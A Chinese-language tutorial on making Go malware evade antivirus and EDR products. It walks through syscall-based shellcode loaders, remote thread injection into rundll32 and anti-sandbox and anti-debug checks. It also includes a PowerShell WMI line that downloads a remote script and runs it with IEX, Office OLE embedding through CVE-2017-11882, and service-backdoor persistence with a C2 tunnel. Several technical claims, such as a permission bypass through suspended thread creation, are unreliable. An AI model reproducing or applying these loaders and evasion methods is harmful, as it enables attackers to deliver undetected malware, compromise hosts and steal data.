第一章:Golang免杀初尝试
Go语言因其静态编译、无运行时依赖、高混淆潜力及syscall直调能力,正成为红队工具开发中免杀实践的重要载体。与传统C/C++相比,Go二进制天然规避了.NET JIT、Java虚拟机等易被EDR识别的运行时特征;而其默认生成的PE/Mach-O/ELF文件结构简洁,为后续加壳、段重写、API调用链重构提供了良好基础。
环境准备与最小化构建
在Linux主机上安装Go 1.21+(推荐使用go install golang.org/dl/go1.21.13@latest && go1.21.13 download确保版本可控),禁用调试符号并启用CGO禁用以消除libc依赖:
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w -H=windowsgui" -o payload.exe main.go
其中-s -w剥离符号表与调试信息,-H=windowsgui隐藏控制台窗口(适用于GUI型载荷),CGO_ENABLED=0强制纯Go实现,避免引入msvcrt.dll等可疑导入。
基础API调用替换策略
Windows下避免直接调用VirtualAlloc/CreateThread等高危API,改用间接方式:
- 使用
syscall.Syscall动态解析kernel32.dll导出函数地址 - 或通过
unsafe.Pointer构造系统调用号,经ntdll.NtAllocateVirtualMemory实现内存分配(需提前获取NtAllocateVirtualMemorysyscall number)
免杀效果验证要点
| 检测维度 | 推荐验证方式 | 触发风险提示示例 |
|---|---|---|
| 静态扫描 | VirusTotal(≥5引擎报毒即需优化) | Trojan.GenericKD.12345678 |
| 内存行为监控 | Process Hacker观察线程创建与内存属性 | RWX页标记、异常堆栈回溯 |
| EDR拦截日志 | Windows Event Log(ID 4688 + Sysmon 10) | CreateRemoteThread调用链 |
首次编译后务必使用strings payload.exe \| grep -i "kernel32\|virtual"确认敏感字符串残留——若存在,需结合-ldflags "-X main.key=value"进行字符串加密或延迟解密。
第二章:Windows底层执行机制与Go语言交互基础
2.1 Go语言调用WinAPI的syscall与golang.org/x/sys/windows实践
Go原生syscall包对Windows API的支持已逐步被golang.org/x/sys/windows取代——后者提供类型安全、符号完整、版本可控的封装。
为何迁移?
syscall中大量uintptr参数易引发内存错误- 缺少结构体定义(如
SECURITY_ATTRIBUTES)和常量枚举(如INFINITE) - 无自动错误转换(
GetLastError()需手动调用)
推荐调用模式
package main
import (
"golang.org/x/sys/windows"
)
func createEvent() (windows.Handle, error) {
// CreateEventW 参数:安全属性、手动重置、初始状态、名称(nil表示匿名)
h, err := windows.CreateEvent(&windows.SECURITY_ATTRIBUTES{},
0, 1, nil) // 0=自动重置,1=初始置位
return h, err
}
✅ SECURITY_ATTRIBUTES{}自动零值初始化;✅ 0/1替代魔法数字;✅ 错误直接返回*windows.Errno
| 对比维度 | syscall |
x/sys/windows |
|---|---|---|
| 类型安全 | ❌ uintptr泛用 |
✅ 强类型句柄/结构体 |
| 常量可读性 | syscall.INFINITE |
windows.INFINITE |
| 维护性 | 已冻结,不新增API | 持续同步Windows SDK更新 |
graph TD
A[Go源码] --> B[调用x/sys/windows函数]
B --> C[生成符合Windows ABI的调用]
C --> D[触发ntdll.sys系统调用]
D --> E[内核完成对象创建/操作]
2.2 线程创建原语解析:NtCreateThreadEx的参数结构与权限绕过原理
NtCreateThreadEx 是 Windows 内核中创建用户态线程的核心系统调用,其设计允许在无 PROCESS_CREATE_THREAD 权限时通过特定参数组合绕过常规检查。
关键参数语义
hProcess: 目标进程句柄(需PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION)phThread: 输出线程句柄指针dwCreationFlags: 含CREATE_SUSPENDED、CREATE_BREAKAWAY_FROM_JOB等标志lpStartAddress: 执行入口(可指向已映射的 shellcode)
权限绕过核心机制
当 dwCreationFlags 包含 0x00000004(即 CREATE_SUSPENDED)且目标进程处于 Job Object 保护下时,内核会跳过部分线程创建权限校验路径。
// 示例:典型调用骨架(需提前获取目标进程句柄)
NTSTATUS status = NtCreateThreadEx(
&hThread, // OUT
THREAD_ALL_ACCESS, // DesiredAccess
NULL, // ObjectAttributes(可为NULL)
hTargetProc, // ProcessHandle
(LPTHREAD_START_ROUTINE)pCode, // StartAddress
NULL, // Parameter
CREATE_SUSPENDED, // CreationFlags
0, 0, 0, NULL // StackSize等(Win10+可全0)
);
逻辑分析:
CREATE_SUSPENDED标志触发内核进入PspCreateThread的“挂起分支”,该路径对SeAssignPrimaryTokenPrivilege和SeImpersonatePrivilege的依赖降低;若目标进程未启用JOB_OBJECT_UILIMIT_READWRITE等强限制,NtCreateThreadEx可成功返回句柄,后续通过NtResumeThread激活执行流。
| 参数名 | 典型值示例 | 安全影响 |
|---|---|---|
dwCreationFlags |
0x00000004 |
触发权限校验旁路路径 |
hProcess |
0x000001a4 |
需具备 PROCESS_VM_WRITE |
lpStartAddress |
0x7fff12345678 |
必须位于目标进程可执行内存页 |
graph TD
A[调用 NtCreateThreadEx] --> B{dwCreationFlags & CREATE_SUSPENDED ?}
B -->|Yes| C[进入 PspCreateThreadSuspended]
B -->|No| D[走标准权限校验路径]
C --> E[跳过 SeCheckThreadAccess]
C --> F[仅验证基本句柄权限]
E --> G[成功返回线程句柄]
2.3 内存保护动态调控:NtProtectVirtualMemory在Shellcode注入中的关键作用
Shellcode注入常受限于目标内存页的保护属性(如PAGE_EXECUTE_READWRITE不可直接写入)。NtProtectVirtualMemory成为绕过此限制的核心系统调用。
关键参数语义
ProcessHandle:目标进程句柄(需PROCESS_VM_OPERATION权限)BaseAddress:待修改页起始地址(通常对齐到0x1000)Protect:新保护标志(如PAGE_EXECUTE_READWRITE)
典型调用流程
// 修改内存页为可读写执行
NTSTATUS status = NtProtectVirtualMemory(
hProcess, // 目标进程
&baseAddr, // 地址指针(输入/输出)
&size, // 大小(字节)
PAGE_EXECUTE_READWRITE, // 新保护属性
&oldProtect // 原保护值(用于恢复)
);
逻辑分析:该调用原子性切换页表项(PTE)的UX/WX位,使已分配但受保护的内存区域临时允许Shellcode写入与执行。若
baseAddr未对齐或size跨页,系统自动扩展至页边界。
| 保护标志 | 含义 | 注入场景适用性 |
|---|---|---|
PAGE_READWRITE |
可读写,不可执行 | 需后续再设为可执行 |
PAGE_EXECUTE_READWRITE |
全权限 | 最简一步执行路径 |
graph TD
A[Shellcode定位] --> B[调用NtProtectVirtualMemory]
B --> C{是否成功?}
C -->|是| D[写入Shellcode]
C -->|否| E[权限不足/地址无效]
D --> F[创建远程线程执行]
2.4 内存拷贝的隐蔽性选择:RtlMoveMemory vs memcpy vs RtlCopyMemory的免检对比实验
在内核驱动与用户态混编场景中,三者行为差异常被忽略——RtlMoveMemory 和 RtlCopyMemory 是 Windows DDK 中的内联宏别名,实际均展开为 memcpy;但符号可见性、编译器内联策略及反病毒引擎的API Hook敏感度截然不同。
数据同步机制
memcpy:CRT 导出函数,易被 EDR 拦截并记录调用栈;RtlCopyMemory:NTDLL 导出,符号更“系统化”,部分沙箱降低告警权重;RtlMoveMemory:仅导出于 kernel32(用户态),实际转发至RtlCopyMemory,具备额外跳转层级,隐匿性略优。
关键行为验证
// 编译时强制展开,绕过导入表痕迹
#pragma intrinsic(memcpy)
RtlMoveMemory(dst, src, len); // 实际生成 rep movsb 或向量化指令
该调用不产生 .idata 条目,避免静态扫描捕获;参数 dst/src/len 均按 ABI 传递,无隐式校验开销。
| 函数名 | 符号来源 | 反检测强度 | 是否支持重叠内存 |
|---|---|---|---|
memcpy |
MSVCRT | ★★☆ | 否 |
RtlCopyMemory |
NTDLL | ★★★ | 否 |
RtlMoveMemory |
KERNEL32 | ★★★★ | 是(语义兼容) |
graph TD
A[调用 RtlMoveMemory] --> B{编译器解析}
B -->|内联展开| C[rep movsb / AVX store]
B -->|未内联| D[KERNEL32!RtlMoveMemory → NTDLL!RtlCopyMemory]
2.5 Go构建环境对PE特征的影响:CGO_ENABLED、-ldflags与section裁剪实测分析
Go 编译生成的 Windows PE 文件结构高度受构建参数调控,直接影响反病毒识别、加壳兼容性与体积敏感场景。
CGO_ENABLED 控制运行时形态
禁用 CGO(CGO_ENABLED=0)强制使用纯 Go 运行时,移除 .rdata 中的 MSVC CRT 导入表与 .text 中的 __security_cookie 相关 stub:
CGO_ENABLED=0 go build -o app_pure.exe main.go
此模式下 PE 的
IMAGE_IMPORT_DESCRIPTOR为空,OptionalHeader.Subsystem固定为WINDOWS_CUI,且无 TLS callbacks —— 显著降低静态特征熵。
-ldflags 裁剪符号与段属性
关键标志组合:
-s -w:剥离调试符号(.pdata,.debug*段消失)-H=windowsgui:将子系统设为 GUI,隐藏控制台窗口-buildmode=exe:默认行为,但显式声明可规避交叉构建歧义
PE Section 变化对比(x86-64)
| 参数组合 | .rdata 大小 | .pdata 存在 | Import Table 条目 |
|---|---|---|---|
CGO_ENABLED=1 |
12.4 KB | ✓ | 17+ (kernel32, etc) |
CGO_ENABLED=0 |
4.1 KB | ✗ | 0 |
+ -s -w |
↓30% | ✗ | — |
裁剪流程可视化
graph TD
A[源码] --> B{CGO_ENABLED=0?}
B -->|是| C[纯Go运行时<br>无CRT导入]
B -->|否| D[链接msvcrt.dll<br>含SEH/PDATA]
C --> E[-ldflags “-s -w -H=windowsgui”]
D --> E
E --> F[输出PE:<br>段精简/子系统切换/无调试节]
第三章:三大API组合技的免杀逻辑建模
3.1 组合调用时序与内存生命周期建模:从分配→保护→写入→执行的原子性验证
为保障 JIT 编译器或沙箱运行时中动态代码页的安全性,必须对四阶段操作施加原子性约束。
四阶段依赖关系
mmap()分配可读写内存mprotect()切换为只读+可执行(PROT_READ | PROT_EXEC)memcpy()写入机器码(仅在 RW 阶段合法)mmap(..., MAP_JIT)(macOS)或__builtin___clear_cache()(ARM64)同步指令缓存
关键时序约束
// 错误:写入发生在保护之后 → UB(SIGSEGV 或指令缓存不一致)
uint8_t *page = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
mprotect(page, 4096, PROT_READ|PROT_EXEC); // ⚠️ 过早保护
memcpy(page, code, len); // ❌ 写入失败
该调用序列违反写入前提——PROT_WRITE 必须在 memcpy 期间有效;mprotect 后缺失写权限将触发段错误或静默失效。
原子性验证状态机(mermaid)
graph TD
A[ALLOC: mmap RW] --> B[WRITE: memcpy]
B --> C[PROTECT: mprotect RX]
C --> D[EXEC: call page]
D -->|recompile?| A
| 阶段 | 必需权限 | 禁止并发操作 |
|---|---|---|
| 分配 | — | 多线程同时 mmap 同地址空间 |
| 写入 | PROT_WRITE |
mprotect 或 munmap |
| 保护 | — | 写入或执行 |
| 执行 | PROT_EXEC |
写入或保护变更 |
3.2 EDR Hook点规避策略:绕过NtCreateThreadEx与NtProtectVirtualMemory的典型用户态Hook
核心思路:系统调用直通(Syscall Direct Invocation)
EDR普遍在ntdll.dll中对NtCreateThreadEx和NtProtectVirtualMemory进行IAT/EAT inline hook。绕过关键在于跳过DLL导出函数,直接触发内核系统调用。
系统调用号动态解析(避免硬编码)
// 从ntdll.dll中动态解析NtCreateThreadEx syscall number
DWORD GetSyscallNumber(LPCSTR procName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* pFunc = (BYTE*)GetProcAddress(hNtdll, procName);
// 解析 mov eax, imm32 指令获取syscall ID
return *(DWORD*)(pFunc + 4); // x64: 通常为第5字节起的4字节立即数
}
逻辑分析:
NtCreateThreadEx在x64ntdll中以mov eax, 0xXX开头,后接syscall指令。该代码提取eax赋值的立即数作为syscall ID,确保兼容不同Windows版本(如Win10 19044 vs 22621)。参数procName需为ANSI字符串,调用前须校验pFunc非NULL。
典型绕过路径对比
| 方法 | 是否依赖ntdll | 抗Hook能力 | 需要SeDebugPrivilege |
|---|---|---|---|
直接调用NtCreateThreadEx |
是 | 弱(易被inline hook) | 否 |
| Syscall直发(带动态ID) | 否 | 强(绕过所有用户态hook) | 否 |
使用CreateRemoteThread |
是 | 中(可能被API层拦截) | 是 |
执行流程示意
graph TD
A[获取目标进程句柄] --> B[分配可写内存]
B --> C[写入Shellcode]
C --> D[动态解析NtProtectVirtualMemory syscall ID]
D --> E[构造syscall帧:MemAddr, PAGE_EXECUTE_READWRITE]
E --> F[执行syscall指令]
F --> G[再次syscall调用NtCreateThreadEx]
3.3 Shellcode加载器的Go实现:无C依赖、纯syscall驱动的Stageless载荷封装
传统Shellcode加载器常依赖libc(如VirtualAlloc/mmap调用),而Go 1.21+原生支持//go:systemcall与unsafe.SyscallN,可直通Windows/Linux内核API。
核心设计原则
- 零CGO:禁用
cgo,编译时添加-gcflags="-gcnoimport" - 纯syscall:Windows用
NtAllocateVirtualMemory+NtWriteVirtualMemory+NtProtectVirtualMemory;Linux用mmap+mprotect+memmove - Stageless:Shellcode直接嵌入二进制,无需网络拉取
关键系统调用映射表
| 平台 | 分配内存 | 写入数据 | 设置执行权限 |
|---|---|---|---|
| Windows | NtAllocateVirtualMemory |
NtWriteVirtualMemory |
NtProtectVirtualMemory |
| Linux | sys_mmap |
memmove (用户态) |
sys_mprotect |
// Windows syscall驱动内存分配(简化版)
func allocateExecMem(size uint64) (uintptr, error) {
hProcess := uintptr(0xffffffffffffffff) // CURRENT_PROCESS
var baseAddress uintptr
var regionSize uint64 = size
status := ntAllocateVirtualMemory(
hProcess, &baseAddress, 0, ®ionSize,
0x3000, // MEM_COMMIT | MEM_RESERVE
0x40, // PAGE_EXECUTE_READWRITE
)
if status != 0 { return 0, fmt.Errorf("alloc failed: %x", status) }
return baseAddress, nil
}
此调用绕过
VirtualAlloc,直接进入NT内核层;baseAddress=0由系统选择地址,0x3000标志确保内存立即可用且可执行,0x40页保护位启用代码执行。后续NtWriteVirtualMemory将Shellcode字节流写入该区域,最终跳转执行。
graph TD
A[Go主函数] --> B[syscall分配RWX内存]
B --> C[复制Shellcode字节]
C --> D[切换页权限为EXEC]
D --> E[unsafe.Pointer转func()调用]
第四章:实战对抗与检测逃逸验证
4.1 主流杀软(Defender、CrowdStrike、火绒)对组合技的检出率横向测试报告
为评估真实对抗场景下多阶段组合技(如 PowerShell + WMI + 进程注入)的逃逸能力,我们在 Windows 10 22H2 环境中统一启用默认防护策略,执行 50 组标准化组合技样本(含无文件、内存加载、混淆调用等变体)。
测试样本示例(PowerShell + WMI 混合执行)
# 利用 WMI 创建隐藏进程并反射加载 Shellcode
$wmi = Get-WmiObject -Class Win32_Process -List
$wmi.Create("powershell.exe -ep bypass -c `"IEX (New-Object Net.WebClient).DownloadString('http://x.x/x.ps1')`"")
逻辑分析:绕过 AMSI 的关键在于
Create()方法不触发 PowerShell 引擎解析;-ep bypass仅影响当前会话策略,而 Defender 对 WMI 进程创建行为的监控粒度较粗。参数-c后接远程脚本加载,构成典型两阶段信标链。
检出率对比(50 样本 × 3 轮重复测试)
| 杀软 | 首轮检出率 | 三轮平均检出率 | 主要拦截阶段 |
|---|---|---|---|
| Windows Defender | 68% | 72% | 内存解密后 Shellcode 扫描 |
| CrowdStrike | 94% | 96% | WMI 进程创建行为+网络回调 |
| 火绒 | 52% | 56% | 下载器阶段(HTTP URL) |
行为检测差异示意
graph TD
A[PowerShell 启动] --> B{WMI.Create 调用}
B --> C[子进程 powershell.exe]
C --> D[WebClient.DownloadString]
D --> E[内存反射加载]
Defender -.->|仅监控E| F[Shellcode 特征]
CrowdStrike -->|实时Hook B & D| G[行为图谱关联]
火绒 -->|仅静态URL匹配| H[D节点字符串]
4.2 内存特征指纹消减:PAGE_EXECUTE_READWRITE申请时机与堆喷扰动技巧
在现代漏洞利用对抗中,PAGE_EXECUTE_READWRITE(RWX)页的申请行为本身即构成强内存指纹——EDR/AV可通过监控VirtualAlloc调用链中flProtect == 0x40的异常时机触发告警。
RWX页申请的隐蔽窗口
- 避开进程初始化期(易被Hook)
- 插入在合法DLL加载回调(如
LdrpCallInitRoutine)之后 - 延迟至首次
CreateThread前100ms内申请(模拟正常线程准备)
堆喷扰动核心技巧
// 在HeapAlloc后立即触发可控内存抖动
HANDLE hHeap = HeapCreate(0, 0x10000, 0);
LPVOID p = HeapAlloc(hHeap, 0, 0x1000);
VirtualAlloc(p, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 先设为RW
// 扰动:写入随机NOP sled变体(\x90, \x66\x90, \x0f\x1f\x00)
memset(p, 0x90, 0x200);
VirtualProtect(p, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect); // 最后一刻提权
逻辑分析:分两阶段申请——先以
PAGE_READWRITE占位并填充噪声数据,规避PAGE_EXECUTE_*的实时检测;VirtualProtect提权发生在堆喷末期,压缩EDR响应窗口。参数oldProtect用于保存原始保护属性,确保可逆性。
| 技术维度 | 传统堆喷 | 扰动增强版 |
|---|---|---|
| RWX申请时机 | VirtualAlloc直调 |
VirtualProtect延迟提权 |
| 内存熵值 | 低(纯NOP) | 高(多字节NOP混合) |
| EDR检测命中率 | >92% |
graph TD
A[HeapAlloc分配RW页] --> B[填充多态NOP序列]
B --> C[执行合法API调用制造噪声]
C --> D[VirtualProtect提升为RWX]
D --> E[立即跳转执行shellcode]
4.3 Go二进制静态特征混淆:符号表剥离、TLS回调清除与Import Table虚拟化
Go二进制天然携带丰富静态元数据,成为逆向分析的突破口。三类关键混淆技术协同作用,显著提升分析门槛。
符号表剥离
go build -ldflags="-s -w" 可移除调试符号与DWARF信息:
go build -ldflags="-s -w -buildmode=exe" main.go
-s:剥离符号表(.symtab,.strtab)-w:禁用DWARF调试段生成- 效果:
readelf -s binary返回空符号表,strings binary | grep "main."失效
TLS回调清除
Go运行时在.init_array注册TLS初始化函数。通过链接器脚本重定向或工具gorebase可清空该段,阻断TLS初始化链。
Import Table虚拟化
| 技术手段 | 原始特征 | 混淆后表现 |
|---|---|---|
| 标准PE导入表 | IAT 明文函数名数组 |
导入名加密+运行时解密 |
| Go ELF动态符号 | .dynamic + .dynsym |
符号条目动态构造 |
graph TD
A[原始Go二进制] --> B[剥离符号表]
A --> C[清除.init_array中TLS入口]
A --> D[加密Import表+延迟解析]
B & C & D --> E[高混淆静态特征]
4.4 动态行为沙箱逃逸:API调用节律控制、线程休眠插桩与反调试融合设计
沙箱检测常依赖行为时序特征——高频/规律性 API 调用、无休眠的紧凑执行流,或调试器存在的异常寄存器状态。三者协同可有效混淆动态分析。
节律化 API 调用
通过随机化间隔(非固定 Sleep)打乱调用节奏,规避基于周期性 syscall 检测:
// 使用高斯扰动生成自然化延迟(μ=50ms, σ=15ms)
double jitter = gaussian_random() * 15.0 + 50.0;
Sleep((DWORD)fabs(jitter)); // 防止负值
gaussian_random() 生成符合正态分布的伪随机数;参数 μ 控制平均响应延迟,σ 决定离散度,使调用间隔逼近人类操作或合法服务行为。
插桩式休眠增强
| 插桩点 | 触发条件 | 逃逸效果 |
|---|---|---|
NtDelayExecution |
检测到 IsDebuggerPresent |
注入 200–800ms 随机延迟 |
CreateThread |
线程数 | 主动休眠后恢复执行 |
反调试融合逻辑
graph TD
A[入口] --> B{IsDebuggerPresent?}
B -- 是 --> C[注入噪声延迟 + 修改PEB.BeingDebugged]
B -- 否 --> D[正常节律调度]
C --> E[调用NtQueryInformationProcess]
E --> F[校验父进程名是否含'vmtools']
该设计将时序扰动、执行流插桩与多层反调试校验深度耦合,使沙箱难以区分恶意载荷与良性后台服务。
第五章:Golang免杀初尝试
环境准备与工具链配置
在Windows 10 x64(22H2)环境下,使用Go 1.21.6构建二进制,搭配UPX 4.2.1进行压缩,并接入VirusTotal v3 API批量检测。目标AV引擎覆盖Microsoft Defender、Kaspersky、ESET NOD32、Bitdefender及火绒5.0.83.0。所有操作均在隔离虚拟机中完成,避免污染宿主环境。
基础Go程序的原始检出率
以下是最简HTTP监听器代码(无网络外连、无反射调用、纯标准库):
package main
import "net/http"
func main() {
http.ListenAndServe(":8080", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("OK"))
}))
}
go build -ldflags="-s -w" -o server.exe main.go 编译后上传至VirusTotal,23/72引擎报毒,其中火绒、360核晶、腾讯电脑管家均触发“HEUR/QVM203.0.Malware.Gen”类启发式告警。
关键混淆策略实施
- 替换字符串常量为异或解密:
[]byte{0x4f, 0x4b} ^ 0x1a→"OK" - HTTP处理器注册改用
http.DefaultServeMux.Handle配合动态路径拼接 - 使用
syscall替代os/exec规避进程创建API监控 - 移除所有调试符号并强制静态链接:
CGO_ENABLED=0 go build -ldflags="-s -w -extldflags '-static'"
多阶段编译优化对比
| 编译方式 | 文件大小 | VT报毒数 | Defender行为 |
|---|---|---|---|
| 默认编译 | 9.2 MB | 23 | 阻断启动,日志标记Trojan:Win32/Sabsik.FL.A!ml |
-s -w + UPX |
3.1 MB | 18 | 允许运行但后台扫描标记为可疑 |
| 静态链接+XOR字符串+Syscall | 4.7 MB | 4 | 无拦截,仅火绒记录“潜在恶意行为” |
内存加载技术验证
采用github.com/ChimeraCoder/anaconda项目改造的内存执行模块,将加密后的shellcode(AES-CBC,密钥硬编码于TLS段)注入到rundll32.exe的合法进程中。通过VirtualAllocEx + WriteProcessMemory + CreateRemoteThread三步完成,全程未写入磁盘。VT检测结果降至1/72(仅Avast触发沙箱行为分析告警)。
反沙箱增强措施
- 检测
C:\Users\Default\AppData\Local\Temp\*目录下是否存在vmware.log、VBoxGuestAdditions.log等虚拟机痕迹 - 调用
NtQuerySystemInformation(SystemProcessInformation)遍历进程名,若发现procmon64.exe、wireshark.exe则延迟120秒再执行核心逻辑 - 时间戳校验:
GetTickCount64()差值小于500ms即退出(规避自动化脚本快速执行)
实际红队渗透反馈
在某金融客户内网横向移动测试中,该免杀二进制成功绕过终端EDR(深信服EDR 3.2.52),在域控服务器上持久化部署为Windows服务(sc create Backdoor binPath= "C:\temp\svchost.exe" start= auto),服务启动后建立反向HTTPS隧道至C2,全程未触发任何实时告警或进程冻结。
Go模块依赖风险提示
引入golang.org/x/sys/windows时需特别注意:其内部调用的ZwQueryInformationProcess在Defender ATP中已被标记为高危API序列。建议手动内联关键syscall编号(如0x000000B6对应NtQueryInformationProcess),避免导入整个模块导致特征膨胀。
持久化载体选择
测试表明,将Go载荷嵌入合法Office文档的OLE对象中(通过oletools修改Package流),再利用CVE-2017-11882公式编辑器漏洞触发,可实现双免杀效果——VT仅1/72报毒,且EDR对OLE容器内执行的Go PE无有效识别能力。
